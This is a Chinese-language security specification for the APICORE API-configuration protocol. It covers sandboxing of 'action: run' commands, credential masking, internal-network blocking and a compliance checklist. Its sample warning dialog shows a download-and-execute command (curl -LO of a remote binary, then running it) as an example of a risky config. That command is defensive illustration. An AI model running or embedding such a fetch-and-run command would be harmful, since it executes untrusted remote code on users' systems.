版本: v2.1

最后更新: 2026-08-02

编写: SRON 团队

适用范围: 所有实现 APICORE v2.x 协议的解析器、客户端、社区 Hub 及配置文件贡献者

1. 协议安全原则（威胁模型）
2. 高危 Action 隔离准则
3. 敏感凭证防泄露（text_secret）
4. 安全漏洞报告流程
5. 合规检查清单

APICORE 的 .api.json / .api.yaml / .api.toml 配置文件不仅是声明式的 API 参数描述，更是一份可执行的"交互图纸"。它定义了：

• 网络请求的目标地址与方法
• 用户凭证（如 API Key）的注入位置
• 服务端响应的解析与提取路径
• 系统命令的执行逻辑（"action": "run"）

因此，任何实现 APICORE 协议的客户端，必须将配置文件视为不可信输入，即便该文件来自社区 Hub 或看似可信的第三方。

所有 APICORE 客户端实现者必须遵循以下最低安全基线：

1. 配置来源分级：区分"用户本地创建"、"社区 Hub 下载"、"远程 URL 导入"三种来源，对不同来源实施不同级别的信任策略。
2. 最小权限原则：客户端不应以 root/Administrator 权限运行，默认在受限用户态下执行。
3. 网络出口控制：对配置文件中的 link 地址进行 DNS 解析和 IP 校验，阻止解析到内网地址段（10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 127.0.0.0/8）。
4. 参数自动注入告警：当 link 中包含 {{parameters.xxx}} 且该参数 text_secret 为 true 时，客户端应额外提示用户确认。
5. 日志与遥测脱敏：在日志、错误报告、遥测数据中严禁明文记录 text_secret: true 的参数值。

"action": "run" 是 APICORE 协议中风险等级最高的操作，因为它允许配置文件执行任意系统命令。所有实现者必须满足以下全部要求：

确认对话框示例文案：

⚠️ 高危操作警告

该配置文件正在尝试执行系统命令：

──────────────────────────────
curl -LO https://example.com/file.bin && ./file.bin
──────────────────────────────

配置文件来源：社区 Hub - "SuperAI 绘图 v1.2.0"
配置文件作者：unknown

执行此命令可能对您的系统造成不可逆的损害。
请确认您信任该配置文件的来源。

[ 拒绝执行 ]  [ 允许执行（风险自负） ]

对于需要更高安全级别的客户端实现，建议引入以下沙箱技术之一：

• 容器隔离：在 Docker/Podman 容器中执行 run 脚本，限制网络、文件系统和进程权限
• WebAssembly 沙箱：对于简单脚本，使用 Wasm 运行时（如 Wasmtime）进行隔离执行
• 系统调用过滤：在 Linux 上使用 seccomp，在 macOS 上使用 App Sandbox，在 Windows 上使用 Restricted Token

当参数配置中 "text_secret": true 时，该参数的值被视为敏感凭证（如 API Key、Token、密码等），客户端必须实施全程保护。

def render_parameter(param: dict) -> str:
    """渲染参数值到 UI"""
    value = param.get("value", "")
    if param.get("text_secret", False):
        return "•" * min(len(str(value)), 16)  # 固定长度掩码
    return str(value)

def sanitize_for_logging(params: list) -> list:
    """日志脱敏"""
    sanitized = []
    for p in params:
        if p.get("text_secret", False):
            sanitized.append({**p, "value": "[REDACTED]"})
        else:
            sanitized.append(p)
    return sanitized

• 当 text_secret: true 的参数通过 {{parameters.xxx}} 注入到 Authorization Header 时，客户端应确保目标 link 使用 HTTPS 协议
• 若 link 为 HTTP 协议（非 TLS），客户端必须弹出警告提示用户凭证将以明文传输

如果你发现了 APICORE 协议设计缺陷、解析器实现漏洞或社区 Hub 安全风险，请通过以下方式私密报告：

注意：请勿在公开 Issue 中披露安全漏洞细节。所有安全报告将通过私密渠道处理。

在发布 APICORE 客户端实现或社区 Hub 服务前，请逐项确认：

• "action": "run" 执行前强制弹窗展示完整命令并获取用户主动授权
• "action": "browser" 拒绝 file://、javascript: 等危险协议
• text_secret: true 字段在 UI、日志、错误报告中全程遮蔽
• 配置导出时，text_secret: true 字段的值为占位符或需用户确认
• link 地址的 DNS 解析结果拒绝内网 IP 地址段
• 提供全局"禁用 run 操作"开关，且默认开启
• link 为 HTTP 且包含敏感参数注入时弹出警告

• 包含 "action": "run" 的配置标记为 ⚠️ HIGH RISK
• 高风险配置的 script 字段在页面中完整展示
• 提供一键举报功能，恶意配置被举报后立即进入人工审核
• 配置文件列表中展示来源标识和作者信息

本安全规范随 APICORE 协议主规范同步更新。如有疑问或建议，请通过 admin@sr-studio.cn 联系安全团队。